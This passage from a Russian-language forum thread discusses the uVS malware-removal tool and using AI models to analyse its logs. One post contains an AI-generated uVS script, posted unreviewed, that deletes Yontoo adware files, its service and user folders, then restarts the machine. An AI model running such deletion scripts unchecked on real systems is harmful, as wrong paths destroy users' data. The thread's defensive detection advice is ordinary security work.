          «безопасный» системный путь, а система при загрузке идет в скрытую
          пользовательскую папку.
        * *Что добавить в памятку*: Всегда проверять блок «Переменные
          окружения» в начале лога uVS. Любые попытки переопределить
          стандартные переменные вроде |%SystemRoot%|, |%WinDir%| или
          |%ProgramFiles%| на уровне текущего пользователя — это критическая
          угроза.
    • PR55.RP55
      Сейчас дал ИИ задание напиши скрипт и... Вот:  ( взял Инфо. из одного из старых образов) Скрипт лечения для uVS Чтобы полностью удалить эту службу, связанные с ней файлы и очистить ссылки в реестре, выполните следующий скрипт: text ; uVS v4.15.1 [Script] ; Target OS: Windows ; Удаление вредоносной службы и основного файла апдейтера delref %Network%\C:\PROGRAM FILES (X86)\YONTOO\Y2DESKTOP.UPDATER.EXE ; Удаление исполняемого файла в AppData, вызываемого через параметры службы delref %AppData%\YONTOO\YONTOODESKTOP.EXE ; Принудительное удаление самой службы из реестра delsrv Yontoo Desktop Updater ; Очистка остаточных путей и каталогов Yontoo deldir C:\Program Files (x86)\Yontoo deldir C:\Users\cappu44ino\AppData\Roaming\Yontoo ; Перезагрузка для применения изменений restart --------- Я сильно не увлекался - так для примера.  
    • PR55.RP55
      santy Модели ИИ ( я делал запрос к google ) - есть возможность задать вопрос ( дать задание ) по заранее выбранным настройкам: настройки: yaml [SYSTEM_OVERRIDE] ---------- Код он сам себе напишет :)  Главное задать нужные вопросы и потом попросить\ сохранить настройки в виде кода ) Единственно - не все ИХ модели нормально работают. Результаты тоже нужно проверять... Например:  получить Резюме... По записи - ( как в моём примере в Новые функции ) С заранее заданными параметрами - что нам нужно.  Это и для обучения и для экономии времени и когда оператор устал, для написания отчёта - по работе на семинар, при обсуждении на форуме, анализ новых угроз или появился новый ключ автозапуска; там где есть сомнение - что это... Построить цепочку - чтобы увидеть механику процесса\заражения. Увидеть аномалии - как то, что браузер "подписан" но это ЭЦП не головного офиса - а ЭЦП - пусть и "легитимное" - но смежников.  Аномалии пути; размера; схожесть имени и т.д. Никакие настройки uVS этого не дадут.  Можно увидеть никогда ранее неиспользуемый ключ запуска ( или его нестандартное применение ).  Если железо современное - то возможно? - локальные модели ИИ. Можно попробовать например дать задание: Найди все новые ключи которые появились 2026 г. и ранее не использовались...  
    • santy
      Как гипотетические варианты действий: ---------------------- - получить детальную расшифровку выбранного антивирусного детекта по результату проверки файла на VT из экрана ИНФО. Здесь я бы обратил внимание на три основных детекта: у Kaspersky, DrWeb, ESET, возможно + Microsoft. - получить расшифровку по цифровой подписи файла, насколько известна, и надежна. -  может стоит продумать свою классификацию детектов, и потом уже на основании данной классификации находить другие примеры/способы запуска и т.п.
×